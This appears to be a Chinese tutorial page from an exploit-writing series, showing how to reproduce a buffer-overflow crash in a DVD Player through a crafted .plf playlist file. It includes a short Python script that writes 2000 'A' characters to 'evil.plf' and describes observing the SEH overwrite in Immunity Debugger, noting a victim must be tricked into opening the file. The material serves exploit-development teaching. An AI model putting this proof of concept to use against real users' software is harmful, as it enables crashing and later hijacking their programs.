返回介绍

重现崩溃

发布于 2025-01-03 23:32:53 字数 626 浏览 0 评论 0 收藏 0

下面是文件格式的漏洞利用框架,我们会创建一个.plf 文件,写入很多字符. 稍后 DVD Player 读取这个文件就会造成缓冲区溢出.(这与通过 TCP 或 UDP 发送超长字符串有很大不同). 唯一的缺点是我们需要欺骗受害者打开这个文件。

#!/usr/bin/python -w
filename="evil.plf"
buffer = "A"*2000
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

创建 plf 文件,用 immunity debugger 附加播放器并打开这个播放文件,正如预期那样,播放器崩溃了. Shift+F9 跳过初始异常(因为初始的异常会导致不同的漏洞利用技术而我们只关心 SEH). 你可以看到下面的 CPU 寄存器截图(你会注意到一个寄存器已经被清零了) 另外一张图显示我们已经覆写掉 SEH 记录。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文